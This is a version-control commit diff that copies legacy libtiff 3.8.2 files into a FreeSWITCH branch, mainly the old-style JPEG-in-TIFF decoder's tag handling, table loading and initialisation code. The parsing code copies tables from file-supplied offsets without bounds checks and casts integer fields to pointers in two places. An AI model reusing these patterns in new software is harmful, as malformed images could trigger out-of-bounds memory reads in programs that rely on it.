+        for some reason the first directory excludes the vendor-specific "WANG
+        PageControl" tag (32934) that we check below, so the only other way to
+        identify these directories is apparently to look for a software-
+        identification tag with the substring, "Wang Labs".  Single-image files
+        can apparently pass both tests, which causes no harm here, but what a
+        mess this is!
+     */
+        case TIFFTAG_SOFTWARE              :
+        {
+            char *software;
+
+            v32 = (*sp->vsetparent)(tif,tag,ap);
+            if( TIFFGetField( tif, TIFFTAG_SOFTWARE, &software )
+                && strstr( software, "Wang Labs" ) )
+                sp->is_WANG = 1;
+            return v32;
+        }
+
+        case TIFFTAG_JPEGPROC              :
+        case TIFFTAG_JPEGIFOFFSET          :
+        case TIFFTAG_JPEGIFBYTECOUNT       :
+        case TIFFTAG_JPEGRESTARTINTERVAL   :
+        case TIFFTAG_JPEGLOSSLESSPREDICTORS:
+        case TIFFTAG_JPEGPOINTTRANSFORM    :
+        case TIFFTAG_JPEGQTABLES           :
+        case TIFFTAG_JPEGDCTABLES          :
+        case TIFFTAG_JPEGACTABLES          :
+        case TIFFTAG_WANG_PAGECONTROL      :
+        case TIFFTAG_JPEGCOLORMODE         : ;
+      };
+    v32 = va_arg(ap,uint32); /* No. of values in this TIFF record */
+
+    /* This switch statement is added for OJPEGVSetField */
+    if(v32 !=0){
+        switch(tag){
+            case TIFFTAG_JPEGPROC:
+                sp->jpegproc=v32;
+                break;
+            case TIFFTAG_JPEGIFOFFSET:
+                sp->jpegifoffset=v32;
+		break;
+            case TIFFTAG_JPEGIFBYTECOUNT:
+		sp->jpegifbytecount=v32;
+		break;
+            case TIFFTAG_JPEGRESTARTINTERVAL:
+		sp->jpegrestartinterval=v32;
+		break;
+            case TIFFTAG_JPEGLOSSLESSPREDICTORS:
+		sp->jpeglosslesspredictors_length=v32;
+		break;
+            case TIFFTAG_JPEGPOINTTRANSFORM:
+		sp->jpegpointtransform_length=v32;
+		break;
+            case TIFFTAG_JPEGQTABLES:
+		sp->jpegqtables_length=v32;
+		break;
+            case TIFFTAG_JPEGACTABLES:
+		sp->jpegactables_length=v32;
+		break;
+            case TIFFTAG_JPEGDCTABLES:
+		sp->jpegdctables_length=v32;
+		break;
+            default:
+		break;
+        }
+    }
+
+ /* BEWARE:  The following actions apply only if we are reading a "source" TIFF
+             image to be decompressed for a client application program.  If we
+    ever enhance this file's CODEC to write "destination" JPEG-in-TIFF images,
+    we'll need an "if"- and another "switch"-statement below, because we'll
+    probably want to store these records' values in some different places.  Most
+    of these need not be parsed here in order to decode JPEG bit stream, so we
+    set boolean flags to note that they have been seen, but we otherwise ignore
+    them.
+ */
+    switch (tag)
+      { JHUFF_TBL **h;
+
+     /* Validate the JPEG-process code. */
+
+        case TIFFTAG_JPEGPROC              :
+          switch (v32)
+            {
+              default               : TIFFError(tif->tif_name,
+                                        "Unknown JPEG process");
+                                      return 0;
+#             ifdef C_LOSSLESS_SUPPORTED
+
+           /* Image uses (lossy) baseline sequential coding. */
+
+              case JPEGPROC_BASELINE: sp->cinfo.d.process = JPROC_SEQUENTIAL;
+                                      sp->cinfo.d.data_unit = DCTSIZE;
+                                      break;
+
+           /* Image uses (lossless) Huffman coding. */
+
+              case JPEGPROC_LOSSLESS: sp->cinfo.d.process = JPROC_LOSSLESS;
+                                      sp->cinfo.d.data_unit = 1;
+#             else /* not C_LOSSLESS_SUPPORTED */
+              case JPEGPROC_LOSSLESS: TIFFError(JPEGLib_name,
+                                        "Does not support lossless Huffman coding");
+                                      return 0;
+              case JPEGPROC_BASELINE: ;
+#             endif /* C_LOSSLESS_SUPPORTED */
+            };
+          break;
+
+     /* The TIFF Version 6.0 specification says that if the value of a TIFF
+        "JPEGInterchangeFormat" record is 0, then we are to behave as if this
+        record were absent; i.e., the data does *not* represent a JPEG Inter-
+        change Format File (JFIF), so don't even set the boolean "I've been
+        here" flag below.  Otherwise, the field's value represents the file
+        offset of the JPEG SOI marker.
+     */
+        case TIFFTAG_JPEGIFOFFSET          :
+          if (v32)
+            {
+              sp->src.next_input_byte = tif->tif_base + v32;
+              break;
+            };
+          return 1;
+        case TIFFTAG_JPEGIFBYTECOUNT       :
+          sp->src.bytes_in_buffer = v32;
+          break;
+
+     /* The TIFF Version 6.0 specification says that if the JPEG "Restart"
+        marker interval is 0, then the data has no "Restart" markers; i.e., we
+        must behave as if this TIFF record were absent.  So, don't even set the
+        boolean "I've been here" flag below.
+     */
+     /*
+      * Instead, set the field bit so TIFFGetField can get whether or not
+      * it was set.
+      */
+        case TIFFTAG_JPEGRESTARTINTERVAL   :
+          if (v32)
+              sp->cinfo.d.restart_interval = v32;
+              break;
+     /* The TIFF Version 6.0 specification says that this tag is supposed to be
+        a vector containing a value for each image component, but for lossless
+        Huffman coding (the only JPEG process defined by the specification for
+        which this tag should be needed), ISO IS 10918-1 uses only a single
+        value, equivalent to the "Ss" field in a JPEG bit-stream's "Start of
+        Scan" (SOS) marker.  So, we extract the first vector element and ignore
+        the rest.  (I hope this is correct!)
+     */
+        case TIFFTAG_JPEGLOSSLESSPREDICTORS:
+           if (v32)
+             {
+               sp->cinfo.d.Ss = *va_arg(ap,uint16 *);
+               sp->jpeglosslesspredictors = 
+		    _TIFFmalloc(sp->jpeglosslesspredictors_length
+				* sizeof(uint16));
+               if(sp->jpeglosslesspredictors==NULL){return(0);}
+               for(i2=0;i2<sp->jpeglosslesspredictors_length;i2++){
+                ((uint16*)sp->jpeglosslesspredictors)[i2] =
+			((uint16*)sp->cinfo.d.Ss)[i2];
+               }
+               sp->jpeglosslesspredictors_length*=sizeof(uint16);
+               break;
+             };
+           return v32;
+
+     /* The TIFF Version 6.0 specification says that this tag is supposed to be
+        a vector containing a value for each image component, but for lossless
+        Huffman coding (the only JPEG process defined by the specification for
+        which this tag should be needed), ISO IS 10918-1 uses only a single
+        value, equivalent to the "Al" field in a JPEG bit-stream's "Start of
+        Scan" (SOS) marker.  So, we extract the first vector element and ignore
+        the rest.  (I hope this is correct!)
+     */
+        case TIFFTAG_JPEGPOINTTRANSFORM    :
+           if (v32)
+             {
+               sp->cinfo.d.Al = *va_arg(ap,uint16 *);
+               sp->jpegpointtransform =
+		    _TIFFmalloc(sp->jpegpointtransform_length*sizeof(uint16));
+               if(sp->jpegpointtransform==NULL){return(0);}
+               for(i2=0;i2<sp->jpegpointtransform_length;i2++) {
+                ((uint16*)sp->jpegpointtransform)[i2] =
+			((uint16*)sp->cinfo.d.Al)[i2];
+               }
+               sp->jpegpointtransform_length*=sizeof(uint16);
+               break;
+             }
+           return v32;
+
+     /* We have a vector of offsets to quantization tables, so load 'em! */
+
+        case TIFFTAG_JPEGQTABLES           :
+          if (v32)
+            { uint32 *v;
+              int i;
+              if (v32 > NUM_QUANT_TBLS)
+                {
+                  TIFFError(tif->tif_name,"Too many quantization tables");
+                  return 0;
+                };
+              i = 0;
+              v = va_arg(ap,uint32 *);
+                sp->jpegqtables=_TIFFmalloc(64*sp->jpegqtables_length);
+                if(sp->jpegqtables==NULL){return(0);}
+                tiffoff = TIFFSeekFile(tif, 0, SEEK_CUR);
+                bufoff=0;
+                for(i2=0;i2<sp->jpegqtables_length;i2++){
+                    TIFFSeekFile(tif, v[i2], SEEK_SET);
+                    TIFFReadFile(tif, &(((unsigned char*)(sp->jpegqtables))[bufoff]),
+				 64);
+                    bufoff+=64;
+                }
+                sp->jpegqtables_length=bufoff;
+                TIFFSeekFile(tif, tiffoff, SEEK_SET);
+
+              do /* read quantization table */
+                { register UINT8 *from = tif->tif_base + *v++;
+                  register UINT16 *to;
+                  register int j = DCTSIZE2;
+
+                  if (!( sp->cinfo.d.quant_tbl_ptrs[i]
+                       = CALLJPEG(sp,0,jpeg_alloc_quant_table(&sp->cinfo.comm))
+                       )
+                     )
+                    {
+                      TIFFError(JPEGLib_name,"No space for quantization table");
+                      return 0;
+                    };
+                  to = sp->cinfo.d.quant_tbl_ptrs[i]->quantval;
+                  do *to++ = *from++; while (--j > 0);
+                }
+              while (++i < v32);
+              sp->jpegtablesmode |= JPEGTABLESMODE_QUANT;
+            };
+          break;
+
+     /* We have a vector of offsets to DC Huffman tables, so load 'em! */
+
+        case TIFFTAG_JPEGDCTABLES          :
+          h = sp->cinfo.d.dc_huff_tbl_ptrs;
+          goto L;
+
+     /* We have a vector of offsets to AC Huffman tables, so load 'em! */
+
+        case TIFFTAG_JPEGACTABLES          :
+          h = sp->cinfo.d.ac_huff_tbl_ptrs;
+       L: if (v32)
+            { uint32 *v;
+              int i;
+              if (v32 > NUM_HUFF_TBLS)
+                {
+                  TIFFError(tif->tif_name,"Too many Huffman tables");
+                  return 0;
+                };
+              v = va_arg(ap,uint32 *);
+                if(tag == TIFFTAG_JPEGDCTABLES) {
+                    sp->jpegdctables=_TIFFmalloc(272*sp->jpegdctables_length);
+                    if(sp->jpegdctables==NULL){return(0);}
+                    tiffoff = TIFFSeekFile(tif, 0, SEEK_CUR);
+                    bufoff=0;
+                    code_count=0;                
+                    for(i2=0;i2<sp->jpegdctables_length;i2++){
+                        TIFFSeekFile(tif, v[i2], SEEK_SET);
+                        TIFFReadFile(tif,
+				     &(((unsigned char*)(sp->jpegdctables))[bufoff]),
+				     16);
+                        code_count=0;
+                        for(k2=0;k2<16;k2++){
+                            code_count+=((unsigned char*)(sp->jpegdctables))[k2+bufoff];
+                        }
+                        TIFFReadFile(tif,
+				     &(((unsigned char*)(sp->jpegdctables))[bufoff+16]),
+				     code_count);
+                        bufoff+=16;
+                        bufoff+=code_count;
+                    }
+                    sp->jpegdctables_length=bufoff;
+                    TIFFSeekFile(tif, tiffoff, SEEK_SET);
+                }
+                if(tag==TIFFTAG_JPEGACTABLES){
+                    sp->jpegactables=_TIFFmalloc(272*sp->jpegactables_length);
+                    if(sp->jpegactables==NULL){return(0);}
+                    tiffoff = TIFFSeekFile(tif, 0, SEEK_CUR);
+                    bufoff=0;
+                    code_count=0;                
+                    for(i2=0;i2<sp->jpegactables_length;i2++){
+                        TIFFSeekFile(tif, v[i2], SEEK_SET);
+                        TIFFReadFile(tif, &(((unsigned char*)(sp->jpegactables))[bufoff]), 16);
+                        code_count=0;
+                        for(k2=0;k2<16;k2++){
+                            code_count+=((unsigned char*)(sp->jpegactables))[k2+bufoff];
+                        }
+                        TIFFReadFile(tif, &(((unsigned char*)(sp->jpegactables))[bufoff+16]), code_count);
+                        bufoff+=16;
+                        bufoff+=code_count;
+                    }
+                    sp->jpegactables_length=bufoff;
+                    TIFFSeekFile(tif, tiffoff, SEEK_SET);
+                }
+              i = 0;
+              do /* copy each Huffman table */
+                { int size = 0;
+                  register UINT8 *from = tif->tif_base + *v++, *to;
+                  register int j = sizeof (*h)->bits;
+
+               /* WARNING:  This code relies on the fact that an image file not
+                            "memory mapped" was read entirely into a single
+                  buffer by "TIFFInitOJPEG()", so we can do a fast memory-to-
+                  memory copy here.  Each table consists of 16 Bytes, which are
+                  suffixed to a 0 Byte when copied, followed by a variable
+                  number of Bytes whose length is the sum of the first 16.
+               */
+                  if (!( *h
+                       = CALLJPEG(sp,0,jpeg_alloc_huff_table(&sp->cinfo.comm))
+                       )
+                     )
+                    {
+                      TIFFError(JPEGLib_name,"No space for Huffman table");
+                      return 0;
+                    };
+                  to = (*h++)->bits;
+                  *to++ = 0;
+                  while (--j > 0) size += *to++ = *from++; /* Copy 16 Bytes */
+                  if (size > sizeof (*h)->huffval/sizeof *(*h)->huffval)
+                    {
+                      TIFFError(tif->tif_name,"Huffman table too big");
+                      return 0;
+                    };
+                  if ((j = size) > 0) do *to++ = *from++; while (--j > 0);
+                  while (++size <= sizeof (*h)->huffval/sizeof *(*h)->huffval)
+                    *to++ = 0; /* Zero the rest of the table for cleanliness */
+                }
+              while (++i < v32);
+              sp->jpegtablesmode |= JPEGTABLESMODE_HUFF;
+            };
+          break;
+
+     /* The following vendor-specific TIFF tag occurs in (highly illegal) files
+        produced by the Wang Imaging application for Microsoft Windows.  These
+        can apparently have several "pages", in which case this tag specifies
+        the offset of a "page control" structure, which we don't currently know
+        how to handle.  0 indicates a 1-page image with no "page control", which
+        we make a feeble effort to handle.
+     */
+        case TIFFTAG_WANG_PAGECONTROL      :
+          if (v32 == 0) v32 = -1;
+          sp->is_WANG = v32;
+          tag = TIFFTAG_JPEGPROC+FIELD_WANG_PAGECONTROL-FIELD_JPEGPROC;
+          break;
+
+     /* This pseudo tag indicates whether our caller is expected to do YCbCr <->
+        RGB color-space conversion (JPEGCOLORMODE_RAW <=> 0) or whether we must
+        ask the JPEG Library to do it (JPEGCOLORMODE_RGB <=> 1).
+     */
+        case TIFFTAG_JPEGCOLORMODE         :
+          sp->jpegcolormode = v32;
+
+       /* Mark the image to indicate whether returned data is up-sampled, so
+          that "TIFF{Strip,Tile}Size()" reflect the true amount of data present.
+       */
+          v32 = tif->tif_flags; /* Save flags temporarily */
+          tif->tif_flags &= ~TIFF_UPSAMPLED;
+          if (   td->td_photometric == PHOTOMETRIC_YCBCR
+              &&    (td->td_ycbcrsubsampling[0]<<3 | td->td_ycbcrsubsampling[1])
+                 != 011
+              && sp->jpegcolormode == JPEGCOLORMODE_RGB
+             ) tif->tif_flags |= TIFF_UPSAMPLED;
+
+       /* If the up-sampling state changed, re-calculate tile size. */
+
+          if ((tif->tif_flags ^ v32) & TIFF_UPSAMPLED)
+            {
+              tif->tif_tilesize = isTiled(tif) ? TIFFTileSize(tif) : (tsize_t) -1;
+              tif->tif_flags |= TIFF_DIRTYDIRECT;
+            };
+          return 1;
+      };
+    TIFFSetFieldBit(tif,tag-TIFFTAG_JPEGPROC+FIELD_JPEGPROC);
+    return 1;
+#   undef td
+  }
+
+static int
+OJPEGVGetField(register TIFF *tif,ttag_t tag,va_list ap)
+  { register OJPEGState *sp = OJState(tif);
+
+    switch (tag)
+      {
+
+     /* If this file has managed to synthesize a set of consolidated "metadata"
+        tables for the current (post-TIFF Version 6.0 specification) JPEG-in-
+        TIFF encapsulation strategy, then tell our caller about them; otherwise,
+        keep mum.
+     */
+        case TIFFTAG_JPEGTABLES            :
+          if (sp->jpegtables_length) /* we have "new"-style JPEG tables */
+            {
+              *va_arg(ap,uint32 *) = sp->jpegtables_length;
+              *va_arg(ap,char **) = sp->jpegtables;
+              return 1;
+            };
+
+     /* This pseudo tag indicates whether our caller is expected to do YCbCr <->
+        RGB color-space conversion (JPEGCOLORMODE_RAW <=> 0) or whether we must
+        ask the JPEG Library to do it (JPEGCOLORMODE_RGB <=> 1).
+     */
+        case TIFFTAG_JPEGCOLORMODE         :
+          *va_arg(ap,uint32 *) = sp->jpegcolormode;
+          return 1;
+
+     /* The following tags are defined by the TIFF Version 6.0 specification
+        and are obsolete.  If our caller asks for information about them, do not
+        return anything, even if we parsed them in an old-format "source" image.
+     */
+        case TIFFTAG_JPEGPROC              :
+		*va_arg(ap, uint16*)=sp->jpegproc;
+		return(1);
+		break;
+        case TIFFTAG_JPEGIFOFFSET          :
+		*va_arg(ap, uint32*)=sp->jpegifoffset;
+		return(1);
+		break;
+        case TIFFTAG_JPEGIFBYTECOUNT       :
+		*va_arg(ap, uint32*)=sp->jpegifbytecount;
+		return(1);
+		break;
+        case TIFFTAG_JPEGRESTARTINTERVAL   :
+		*va_arg(ap, uint32*)=sp->jpegrestartinterval;
+		return(1);
+		break;
+        case TIFFTAG_JPEGLOSSLESSPREDICTORS:
+                *va_arg(ap, uint32*)=sp->jpeglosslesspredictors_length;
+                *va_arg(ap, void**)=sp->jpeglosslesspredictors;
+                return(1);
+                break;
+        case TIFFTAG_JPEGPOINTTRANSFORM    :
+                *va_arg(ap, uint32*)=sp->jpegpointtransform_length;
+                *va_arg(ap, void**)=sp->jpegpointtransform;
+                return(1);
+                break;
+        case TIFFTAG_JPEGQTABLES           :
+                *va_arg(ap, uint32*)=sp->jpegqtables_length;
+                *va_arg(ap, void**)=sp->jpegqtables;
+                return(1);
+                break;
+        case TIFFTAG_JPEGDCTABLES          :
+                *va_arg(ap, uint32*)=sp->jpegdctables_length;
+                *va_arg(ap, void**)=sp->jpegdctables;
+                return(1);
+                break;
+        case TIFFTAG_JPEGACTABLES          : 
+                *va_arg(ap, uint32*)=sp->jpegactables_length;
+                *va_arg(ap, void**)=sp->jpegactables;
+                return(1);
+                break;
+      };
+    return (*sp->vgetparent)(tif,tag,ap);
+  }
+
+static void
+OJPEGPrintDir(register TIFF *tif,FILE *fd,long flags)
+  { register OJPEGState *sp = OJState(tif);
+
+    if (   ( flags
+           & (TIFFPRINT_JPEGQTABLES|TIFFPRINT_JPEGDCTABLES|TIFFPRINT_JPEGACTABLES)
+           )
+        && sp->jpegtables_length
+       )
+      fprintf(fd,"  JPEG Table Data: <present>, %lu bytes\n",
+        sp->jpegtables_length);
+  }
+
+static uint32
+OJPEGDefaultStripSize(register TIFF *tif,register uint32 s)
+  { register OJPEGState *sp = OJState(tif);
+#   define td (&tif->tif_dir)
+
+    if ((s = (*sp->defsparent)(tif,s)) < td->td_imagelength)
+      { register tsize_t size = sp->cinfo.comm.is_decompressor
+#                             ifdef D_LOSSLESS_SUPPORTED
+                              ? sp->cinfo.d.min_codec_data_unit
+#                             else
+                              ? DCTSIZE
+#                             endif
+#                             ifdef C_LOSSLESS_SUPPORTED
+                              : sp->cinfo.c.data_unit;
+#                             else
+                              : DCTSIZE;
+#                             endif
+
+        size = TIFFroundup(size,16);
+        s = TIFFroundup(s,td->td_ycbcrsubsampling[1]*size);
+      };
+    return s;
+#   undef td
+  }
+
+static void
+OJPEGDefaultTileSize(register TIFF *tif,register uint32 *tw,register uint32 *th)
+  { register OJPEGState *sp = OJState(tif);
+    register tsize_t size;
+#   define td (&tif->tif_dir)
+
+    size = sp->cinfo.comm.is_decompressor
+#        ifdef D_LOSSLESS_SUPPORTED
+         ? sp->cinfo.d.min_codec_data_unit
+#        else
+         ? DCTSIZE
+#        endif
+#        ifdef C_LOSSLESS_SUPPORTED
+         : sp->cinfo.c.data_unit;
+#        else
+         : DCTSIZE;
+#        endif
+    size = TIFFroundup(size,16);
+    (*sp->deftparent)(tif,tw,th);
+    *tw = TIFFroundup(*tw,td->td_ycbcrsubsampling[0]*size);
+    *th = TIFFroundup(*th,td->td_ycbcrsubsampling[1]*size);
+#   undef td
+  }
+
+static void
+OJPEGCleanUp(register TIFF *tif)
+  { register OJPEGState *sp;
+
+    if ( (sp = OJState(tif)) )
+      {
+        CALLVJPEG(sp,jpeg_destroy(&sp->cinfo.comm)); /* Free JPEG Lib. vars. */
+        if (sp->jpegtables) {_TIFFfree(sp->jpegtables);sp->jpegtables=0;}
+        if (sp->jpeglosslesspredictors) {
+		_TIFFfree(sp->jpeglosslesspredictors);
+		sp->jpeglosslesspredictors = 0;
+	}
+        if (sp->jpegpointtransform) {
+		_TIFFfree(sp->jpegpointtransform);
+		sp->jpegpointtransform=0;
+	}
+        if (sp->jpegqtables) {_TIFFfree(sp->jpegqtables);sp->jpegqtables=0;}
+        if (sp->jpegactables) {_TIFFfree(sp->jpegactables);sp->jpegactables=0;}
+        if (sp->jpegdctables) {_TIFFfree(sp->jpegdctables);sp->jpegdctables=0;}
+     /* If the image file isn't "memory mapped" and we read it all into a
+        single, large memory buffer, free the buffer now.
+     */
+        if (!isMapped(tif) && tif->tif_base) /* free whole-file buffer */
+          {
+            _TIFFfree(tif->tif_base);
+            tif->tif_base = 0;
+            tif->tif_size = 0;
+          };
+        _TIFFfree(sp); /* Release local variables */
+        tif->tif_data = 0;
+      }
+  }
+
+int
+TIFFInitOJPEG(register TIFF *tif,int scheme)
+  { register OJPEGState *sp;
+#   define td (&tif->tif_dir)
+#   ifndef never
+
+ /* This module supports a decompression-only CODEC, which is intended strictly
+    for viewing old image files using the obsolete JPEG-in-TIFF encapsulation
+    specified by the TIFF Version 6.0 specification.  It does not, and never
+    should, support compression for new images.  If a client application asks us
+    to, refuse and complain loudly!
+ */
+    if (tif->tif_mode != O_RDONLY) return _notSupported(tif);
+#   endif /* never */
+    if (!isMapped(tif))
+      {
+
+     /* BEWARE OF KLUDGE:  If our host operating-system doesn't let an image
+                           file be "memory mapped", then we want to read the
+        entire file into a single (possibly large) memory buffer as if it had
+        been "memory mapped".  Although this is likely to waste space, because
+        analysis of the file's content might cause parts of it to be read into
+        smaller buffers duplicatively, it appears to be the lesser of several
+        evils.  Very old JPEG-in-TIFF encapsulations aren't guaranteed to be
+        JFIF bit streams, or to have a TIFF "JPEGTables" record or much other
+        "metadata" to help us locate the decoding tables and entropy-coded data,
+        so we're likely do a lot of random-access grokking around, and we must
+        ultimately tell the JPEG Library to sequentially scan much of the file
+        anyway.  This is all likely to be easier if we use "brute force" to
+        read the entire file, once, and don't use incremental disc I/O.  If our
+        client application tries to process a file so big that we can't buffer
+        it entirely, then tough shit: we'll give up and exit!
+     */
+        if (!(tif->tif_base = _TIFFmalloc(tif->tif_size=TIFFGetFileSize(tif))))
+          {
+            TIFFError(tif->tif_name,"Cannot allocate file buffer");
+            return 0;
+          };
+        if (!SeekOK(tif,0) || !ReadOK(tif,tif->tif_base,tif->tif_size))
+          {
+            TIFFError(tif->tif_name,"Cannot read file");
+            return 0;
+          }
+      };
+
+ /* Allocate storage for this module's per-file variables. */
+
+    if (!(tif->tif_data = (tidata_t)_TIFFmalloc(sizeof *sp)))
+      {
+        TIFFError("TIFFInitOJPEG","No space for JPEG state block");
+        return 0;
+      };
+    (sp = OJState(tif))->tif = tif; /* Initialize reverse pointer */
+    sp->cinfo.d.err = jpeg_std_error(&sp->err); /* Initialize error handling */
+    sp->err.error_exit = TIFFojpeg_error_exit;
+    sp->err.output_message = TIFFojpeg_output_message;
+    if (!CALLVJPEG(sp,jpeg_create_decompress(&sp->cinfo.d))) return 0;
+
+ /* Install CODEC-specific tag information and override default TIFF Library
+    "method" subroutines with our own, CODEC-specific methods.  Like all good
+    members of an object-class, we save some of these subroutine pointers for
+    "fall back" in case our own methods fail.
+ */
+    _TIFFMergeFieldInfo(tif,ojpegFieldInfo,
+      sizeof ojpegFieldInfo/sizeof *ojpegFieldInfo);
+    sp->defsparent = tif->tif_defstripsize;
+    sp->deftparent = tif->tif_deftilesize;
+    sp->vgetparent = tif->tif_tagmethods.vgetfield;
+    sp->vsetparent = tif->tif_tagmethods.vsetfield;
+    tif->tif_defstripsize = OJPEGDefaultStripSize;
+    tif->tif_deftilesize = OJPEGDefaultTileSize;
+    tif->tif_tagmethods.vgetfield = OJPEGVGetField;
+    tif->tif_tagmethods.vsetfield = OJPEGVSetField;
+    tif->tif_tagmethods.printdir = OJPEGPrintDir;
+#   ifdef never
+    tif->tif_setupencode = OJPEGSetupEncode;
+    tif->tif_preencode = OJPEGPreEncode;
+    tif->tif_postencode = OJPEGPostEncode;
+#   else /* well, hardly ever */
+    tif->tif_setupencode = tif->tif_postencode = _notSupported;
+    tif->tif_preencode = (TIFFPreMethod)_notSupported;
+#   endif /* never */
+    tif->tif_setupdecode = OJPEGSetupDecode;
+    tif->tif_predecode = OJPEGPreDecode;
+    tif->tif_postdecode = OJPEGPostDecode;
+    tif->tif_cleanup = OJPEGCleanUp;
+
+ /* If the image file doesn't have "JPEGInterchangeFormat[Length]" TIFF records
+    to guide us, we have few clues about where its encapsulated JPEG bit stream
+    is located, so establish intelligent defaults:  If the Image File Directory
+    doesn't immediately follow the TIFF header, assume that the JPEG data lies
+    in between; otherwise, assume that it follows the Image File Directory.
+ */
+    if (tif->tif_header.tiff_diroff > sizeof tif->tif_header)
+      {
+        sp->src.next_input_byte = tif->tif_base + sizeof tif->tif_header;
+        sp->src.bytes_in_buffer = tif->tif_header.tiff_diroff
+                                - sizeof tif->tif_header;
+      }
+    else /* this case is ugly! */
+      { uint32 maxoffset = tif->tif_size;
+        uint16 dircount;
+
+     /* Calculate the offset to the next Image File Directory, if there is one,
+        or to the end of the file, if not.  Then arrange to read the file from
+        the end of the Image File Directory to that offset.
+     */
+        if (tif->tif_nextdiroff) maxoffset = tif->tif_nextdiroff; /* Not EOF */
+        _TIFFmemcpy(&dircount,(const tdata_t)
+          (sp->src.next_input_byte = tif->tif_base+tif->tif_header.tiff_diroff),
+          sizeof dircount);
+        if (tif->tif_flags & TIFF_SWAB) TIFFSwabShort(&dircount);
+        sp->src.next_input_byte += dircount*sizeof(TIFFDirEntry)
+                                + sizeof maxoffset + sizeof dircount;
+        sp->src.bytes_in_buffer = tif->tif_base - sp->src.next_input_byte
+                                + maxoffset;
+      };
+
+ /* IJG JPEG Library Version 6B can be configured for either 8- or 12-bit sample
+    precision, but we assume that "old JPEG" TIFF clients only need 8 bits.
+ */
+    sp->cinfo.d.data_precision = 8;
+#   ifdef C_LOSSLESS_SUPPORTED
+
+ /* If the "JPEGProc" TIFF tag is missing from the Image File Dictionary, the
+    JPEG Library will use its (lossy) baseline sequential process by default.
+ */
+    sp->cinfo.d.data_unit = DCTSIZE;
+#   endif /* C_LOSSLESS_SUPPORTED */
+
+ /* Initialize other CODEC-specific variables requiring default values. */
+
+    tif->tif_flags |= TIFF_NOBITREV; /* No bit-reversal within data bytes */
+    sp->h_sampling = sp->v_sampling = 1; /* No subsampling by default */
+    sp->is_WANG = 0; /* Assume not a MS Windows Wang Imaging file by default */
+    sp->jpegtables = 0; /* No "new"-style JPEG tables synthesized yet */
+    sp->jpegtables_length = 0;
+    sp->jpegquality = 75; /* Default IJG quality */
+    sp->jpegcolormode = JPEGCOLORMODE_RAW;
+    sp->jpegtablesmode = 0; /* No tables found yet */
+    sp->jpeglosslesspredictors=0;
+    sp->jpeglosslesspredictors_length=0;
+    sp->jpegpointtransform=0;
+    sp->jpegpointtransform_length=0;
+    sp->jpegqtables=0;
+    sp->jpegqtables_length=0;
+    sp->jpegdctables=0;
+    sp->jpegdctables_length=0;
+    sp->jpegactables=0;
+    sp->jpegactables_length=0;
+    return 1;
+#   undef td
+  }
+#endif /* OJPEG_SUPPORT */
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_open.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_open.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_open.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_open.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_open.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,683 @@
+/* $Id: tif_open.c,v 1.31 2006/03/16 12:23:02 dron Exp $ */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+/*
+ * TIFF Library.
+ */
+#include "tiffiop.h"
+
+static const long typemask[13] = {
+	(long)0L,		/* TIFF_NOTYPE */
+	(long)0x000000ffL,	/* TIFF_BYTE */
+	(long)0xffffffffL,	/* TIFF_ASCII */
+	(long)0x0000ffffL,	/* TIFF_SHORT */
+	(long)0xffffffffL,	/* TIFF_LONG */
+	(long)0xffffffffL,	/* TIFF_RATIONAL */
+	(long)0x000000ffL,	/* TIFF_SBYTE */
+	(long)0x000000ffL,	/* TIFF_UNDEFINED */
+	(long)0x0000ffffL,	/* TIFF_SSHORT */
+	(long)0xffffffffL,	/* TIFF_SLONG */
+	(long)0xffffffffL,	/* TIFF_SRATIONAL */
+	(long)0xffffffffL,	/* TIFF_FLOAT */
+	(long)0xffffffffL,	/* TIFF_DOUBLE */
+};
+static const int bigTypeshift[13] = {
+	0,		/* TIFF_NOTYPE */
+	24,		/* TIFF_BYTE */
+	0,		/* TIFF_ASCII */
+	16,		/* TIFF_SHORT */
+	0,		/* TIFF_LONG */
+	0,		/* TIFF_RATIONAL */
+	24,		/* TIFF_SBYTE */
+	24,		/* TIFF_UNDEFINED */
+	16,		/* TIFF_SSHORT */
+	0,		/* TIFF_SLONG */
+	0,		/* TIFF_SRATIONAL */
+	0,		/* TIFF_FLOAT */
+	0,		/* TIFF_DOUBLE */
+};
+static const int litTypeshift[13] = {
+	0,		/* TIFF_NOTYPE */
+	0,		/* TIFF_BYTE */
+	0,		/* TIFF_ASCII */
+	0,		/* TIFF_SHORT */
+	0,		/* TIFF_LONG */
+	0,		/* TIFF_RATIONAL */
+	0,		/* TIFF_SBYTE */
+	0,		/* TIFF_UNDEFINED */
+	0,		/* TIFF_SSHORT */
+	0,		/* TIFF_SLONG */
+	0,		/* TIFF_SRATIONAL */
+	0,		/* TIFF_FLOAT */
+	0,		/* TIFF_DOUBLE */
+};
+
+/*
+ * Dummy functions to fill the omitted client procedures.
+ */
+static int
